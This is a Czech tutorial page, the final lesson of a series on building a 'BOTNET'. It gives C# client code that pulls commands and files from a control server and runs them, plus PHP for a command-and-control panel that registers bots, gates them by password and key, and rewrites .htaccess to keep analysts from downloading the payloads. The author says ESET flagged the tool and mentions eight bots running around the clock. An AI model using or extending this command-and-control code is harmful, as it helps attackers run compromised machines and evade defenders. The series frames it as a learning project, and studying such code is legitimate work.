IT rekvalifikace s garancí práce. Seniorní programátoři vydělávají až 160 000 Kč/měsíc a rekvalifikace je prvním krokem. Zjisti, jak na to!
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 4 - BOTNET - Závěr

V minulé lekci, BOTNET - Programování klienta, jsme se začali věnovat implementaci BOTNET klienta.

V dnešní lekci naši práci dokončíme.

Hlavní program

Pro tento jmenný prostor je deklarováno používání knihoven, které jsou používány zvlášť. Tato část by měla být v činnosti po celou dobu programu po spuštění a udržovat zpětnou vazbu pro hosta a plnění požadovaných příkazů o parametrech od hosta. Obsahuje podobné funkce, jako byla u předchozího jmenného prostoru, ale rozšiřuje se o ovládací a naslouchací funkce. Jedny z nejdůležitějších funkcí jsou kontrolní funkce, do kterých patří resetovací, rozpoznávací a informační funkce. Další podskupiny jsou funkce slave, vykonávající požadované příkazy. Mezi všechny funkce této podskupiny se řadí ty, které jsou volány na základě požadavku ze serveru. Těchto funkcí může být definováno velké množství, ale je nutno jejich funkci přizpůsobit serveru, např. požadované parametry.

Resetování každého příkazu musí být vyvoláno přerušením, které je vytvářeno funkcí reset, teprve po tomto je klient schopen přijímat nové příkazy. Informační funkce tvoří základ komunikace se serverem a proto je nutno udržet tyto funkce v činnosti po celou dobu a pokusit se o nulovou chybovost a maximální latenci. Úkol těchto funkcí je načíst data z příkazového a parametrického souboru, nacházejícího se na serveru, a předat informace do rozpoznávacích funkcí. Rozpoznávací funkce rozhodují na základě přijatých dat a přisuzují další možnou aktivitu pro vykonání.

Informační funkce

Činnost těchto funkcí je buď získání dat v podobě textu ze serveru, nebo stažení celého souboru

public static string getstr(string file)
{
    string host = choose(); //stanoví proměnou host z funkce
    WebClient webClient = new WebClient();
    string num = webClient.DownloadString(host + "/"+file);
    return num; //navrací hodnotu
}

public static void download (string from, string to)
{
    string url = choose();
    WebClient webClient = new WebClient();
    webClient.DownloadFile(url + from, to);
}

z hosta podle stanovených parametrů „file“ souboru pro čtení, „from“ souboru pro stažení, „to“ parametru pro určení ukládací cesty. Získání adresy serveru probíhá z funkce choose.

Rozpoznávací funkce

Vykonává funkce, které určí za vhodné k vykonání. Funkce přejme příkaz a pokud je stejný, je spuštěn.

static public void ifs(string cmd) //Funkce přejímá string
{
    Console.WriteLine("Executing");
    if (cmd == "delete") //Pokud se rovná spustí->
    {
        delete(); //spustí funkce delete
    }
    else if (cmd == "report")
    {
        send("Report", ""); //pošle zpětnou vazbu
    }
    else
    {
        send("Dont know command", "");
    }
}

Programování Serveru

Jelikož potřebujeme přijímat data a kontrolovat klienty, potřebujeme službu, která bude poskytovat tzv. bod ke kontrole. Tento server je hostovaný na endora.cz nebo může být na libovolném webovém serveru, pokud bude mít povolené používané jazyky a metody zasílání POST a GET.

Programování BOTNET serveru - Botnet

Obrázek 4.0 Vzhled byl invertován kvůli viditelnosti

Ve webu jsou použity zjednodušené akce k zadávání příkazů a ID, aby bylo rychlejší zadávání údajů. Označené funkce červeně jsou poukázány na pole, kam se budou vkládat. V poli „Insert Command“ je vložen příkaz k vykonání, pole „ID of machine“ označuje stroj pro který bude spuštěn a pole „Target“ je v případech podmíněných argumentů cíl příkazu. V označeném obdélníku, který obsahuje „no“, je příkaz, který je vykonáván a měněn podle příkazu zaslaného výše. Server dokáže zadávat pouze jeden příkaz v čase.

Frontend

Tuto část tvoří vzhled webu, skripty pro urychlení zadávání seznamu čekajících botů a aktivních botů. Obsahuje věci jako je font, pozadí, ikony, obrázky.

<meta property="og:type" content="website"> <!-- typ souboru -->
<meta charset="utf-8"> <!-- Kódování znaků -->
<link rel="shortcut icon" type="image/x-icon" href="icon.png"> <!-- Ikona -->
<script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.16/webfont.js"></script> <!-- Javascript pro fungování fontu -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-
awesome.min.css"> <!-- css skript pro font -->
<style type="text/css">@font-face{font-family:Nitti WM2
Light;src:url(57bd9673620784435f554191aa300c67.ttf)} <!-- soubor fontu -->

Pomocné skripty

Vyplňují formuláře na kliknutí uživatele s požadovaným příkazem nebo ID.

<a href="#" onclick="fill(2)">"clear"</a> <!-- Příkaz pro vyvolání funkce fill(int) -->

function fill(command) {
    if (command == "2") {
        x = "clear";
    }
    document.getElementById("formulář").value = x; //nastavení hodnoty formuláře
    function idly(id){
    //Funkce pro vyplnění ID
    document.getElementById("machid").value = id; //Nastavení hodnoty formuláře podle ID
}

Uživatelské rozhraní

Sestává z viditelné části webové aplikace. Řadí se do něj tabulky, do kterých se vkládají údaje o botech a příkazy. Tato část úzce spolupracuje s pomocnými skripty. Každá tabulka vypisuje hodnoty o více botech, v každém řádku jsou údaje o jednom botovi a může se vyskytovat i tlačítko pro zablokování nebo povolení bota.

Čtení dat pro tabulku

Data se čtou pomocí listování složkou a čtení souborů postupné zanášení do tabulky pomocí cyklu for.

$dir4 = "report/";
$dh4 = opendir($dir4);
while (false !== ($filename4 = readdir($dh4))) {
    $files4[] = $filename4;
    sort($files4);
}
for ($p = 2; $p < count($files4); ++$p) {
    ${"name" . $p} = pathinfo($files4[$p], PATHINFO_FILENAME);
    ${"idset" . $p} = substr("${"name" . $p}", 7, strpos("${"name" . $p}
    ", '-'));
    ${"soubor" . $p} = fopen("report/$files4[$p]", "r");
    ${"ipset" . $p}=fgets(${"soubor" . $p});
    ${"ipset2" . $p} = substr("${"ipset" . $p}", strpos("${"ipset" .
    $p}", ','));
    ${"ipset" . $p}= str_replace("${"ipset2" . $p}", "", "${"ipset" .
    $p}");
    ${"stav" . $p}=fgets(${"soubor" . $p});
    ${"ver" . $p}=fgets(${"soubor" . $p});
    ${"group" . $p}=fgets(${"soubor" . $p});
    ${"ipl" . $p}=fgets(${"soubor" . $p});
    ${"hw" . $p}=fgets(${"soubor" . $p});
    ${"stavh" . $p} = substr("${"stav" . $p}", 0, strpos("${"stav" .
    $p}", '['));
    ${"stav" . $p}= str_replace("${"stavh" . $p}", "", "${"stav" . $p}");
    fclose(${"soubor" . $p});
}

Zdrojový kód: Cyklus While zjistí všechny soubory složky a zanese je do pole. Následně cyklus FOR prolistuje soubory od prvního po poslední a vykoná pro každý soubor definované příkazy. Přečte si všechny proměnné a deklaruje je podle pořadí souboru vzorově: „soubor[2]“. Při každém souboru se vypíše jeden řádek tabulky a podle definicí se vybere např. barva verze nebo odkaz pro pomocný skript.

Backend

Je tvořen PHP kódem a předává informace pro vypsání do uživatelského prostředí, obsluhu klientů a tak tvoří základní funkčnost serveru. Většina obsluhy spočívá v zápisu do souborů nových botů a informacích o nich po přijetí hesla. Pokud server zapíše do souboru všechna data, soubor se zapíše do adresáře buď „čekání“ nebo do adresáře „report“. Závisí to na tom, jestli server již přidělil privátní klíč k tomuto ID Bota.

Pokud je privátní klíč je přidělen, je automaticky soubor zapsán do složky „report“, pokud ne je soubor zapsán do složky „čekání“ a vyčekává na další činnost jako je povolení nebo zakázání. V případě povolení je hlášení Bota směrováno do běžných hlášení složky „report“. V případě zakázání se soubory na straně klienta smažou a je tímto vyřazen z možnosti kompromitování sítě BOTNET a reversního inženýrství. Předávání příkazů pro vykonání je zapisováno do souboru „check.txt“ a z tohoto souboru klienti čtou data jako jsou příkazy a ID. Předávání argumentů se zapisuje do souboru „arg.dat“ a z tohoto souboru se čtou data, pouze pokud jsou požadována a tak není server zbytečně zatěžován přenosem dat, která nejsou potřeba.

Zpracování příchozích dat

Příchozí data se ještě před přijetím do systému ověří heslem, které je zasláno v parametru „pass“. Pokud ověření proběhne úspěšně, jsou data přijata a zapsána se ztrátou předchozích, do datového souboru ve tvaru „report-id.dat“ Formátování informací do datového souboru probíhá rozdělováním na řádky, např.: hodnota1, další řádek, hodnota2 atd. do příslušného adresáře dle existence privátního klíče. Tyto hodnoty se vypisují hledáním souborů existujících v adresáři a následným přečtením se hodnoty zanesou do tabulky v uživatelském rozhraní.

Zpracování chybových hlášení

Mezi přijímanými daty mohou být i chybová hlášení, která je potřeba zaznamenávat a případně se jim věnovat. Chybová hlášení mohou být doručena buď prostřednictvím formátu s číslem chyby, nebo textově - řádek a problematika, která vznikla s popisem. Pokud server obdrží v hlášení bota (chybové hlášení), je chybová zpráva zapsána do separovaného souboru a vepsána do tabulky. Pokud je chyb více, jsou stále zapisovány do souboru neduplicitně a je tak možno se k chybám vrátit, aniž bychom ztratili informaci o předchozím chybovém hlášení.

Zamezení přístupu nepovoleným osobám

Vzhledem k tomu, že zacházíme s daty, která nechceme, aby byla zneužita, je potřeba ošetřit jejich zneužití. Server je ošetřen vstupem na heslo a tak pouze uživatel s platným heslem může upravovat příkazy a přistupovat k informacím. Ověření vstupu je řešeno povolením dané IP adresy. Při přihlášení je vygenerován datový soubor obsahující privátní klíč. Webová aplikace si klíč při činnostech ověřuje, zda se slučuje s klíčem, který poskytuje uživatel.

Zamezení stahování

Z důvodu vystavení kódu reversnímu inženýrství může stáhnout data pouze bot, který má přidělen privátní klíč. Zamezení je provedeno v dynamickém měnění souboru „.htaccess“, ve kterém jsou přepisovány povolené a zakázané IP. Povolené a zakázané IP se mění na základě vydání příkazu.

Zdrojový kód:

$myfile="resource/.htaccess";
$lines = file ($myfile);
$text2 = "allow from "."$group";
for ($p = 0; $p < count($lines); ++$p) {
    if ("$lines[$p]"=="$text2") {
    } else {
    $relace = fopen("resource/temp.dat", "a+");
    fwrite($relace,"\n$lines[$p] ");
    fclose($relace);
}
unlink($myfile);
rename("resource/temp.dat“, $myfile);
$default="order allow,deny";
$relace= fopen("resource/.htaccess", "a+");
fwrite($relace,"\n$default");
fclose($relace);

Proměnná „group“ je vzdálená IP adresa bota a povolení probíhá vzhledem k ní. Funkce kontroluje řádek po řádku a brání případným duplicitám. Pokud bot nebyl povolen, je řádek zapsán a kontrola probíhá do konce souboru. Po rozlišení duplikací se soubor „.htaccess“ smaže a je nahrazen souborem „temp.dat“ ,který obsahuje povolení bez duplikací. Do tohoto nového souboru je zapsáno nové povolení pro bota.

Optimalizace

Analýza

Vzhledem k přenosu dat je nutno optimalizovat síť BOTNETu, jelikož za měsíc dosáhl přenos dat enormních 319 MB při 8 Botech aktivních 24/7. Většina přenesených dat tvořila instalace nových botů a instalace ovladačů pro počítač. Detekce příkazů se ukázala relativně úsporná s celkovým přenosem dat 183kB. Doplňkové služby zahrnující program pro interakci s uživatelem dosáhly velikosti 4.3MB, ale stejně jako ovladače se stahují pro každého bota pouze jednou a při delším provozu je jejich datová náročnost nulová. Při vylepšování BOTNETU by bylo zapotřebí vylepšit přenos dat komprimací a kódováním. Pro úspornost, efektivitu a zjednodušení algoritmů pro deklaraci přenášených proměnných v datovém toku oddělováním speciálními znaky, ne mezerami.

Analýza BOTNETU - Botnet

Závěr

V tomto seriálu jsem vás seznámil se základními principy a technikami přenosu dat mezi sítěmi a datovými protokoly. Vzhledem k dokončení práce mohu říci, že s nabytými zkušenostmi z vývoje této aplikace bych program znovu sestavil jiným způsobem. Při vývoji této aplikace jsem se setkal s mnoha delikátními situacemi jako je blokace mé služby institucí NCKB, Microsoft a ESET. Touto prací jsem získal uvedení v databázi bezpečnostních rizik společnosti ESET v oboru Powershell a MSIL Code. Část tohoto projektu sloužila jako inspirace pro tým Admin SH ze Silicon Hill při sledování teploty v serverových prostorách. Na testování se nepřímo podílely instituce Mendelova Univerzita v Brně, SŠSE Brno, Endora s.r.o., Microsoft a.s., ESET a.s. a soukromé osoby. Využití této aplikace v praxi lze aplikovat v oblasti řízení vzdálených počítačů s nemožností přístupu a jako částečná náhrada vzdálené pomoci v systému Windows.


 

Předchozí článek
BOTNET - Programování klienta
Všechny články v sekci
Botnet
Článek pro vás napsal Jiri Otoupal
Avatar
Uživatelské hodnocení:
8 hlasů
Autor se věnuje Zabezpečení Softwaru, Inovaci v sítích , Správa Serverů,Malware,Exploiting, Penetration Testing
Aktivity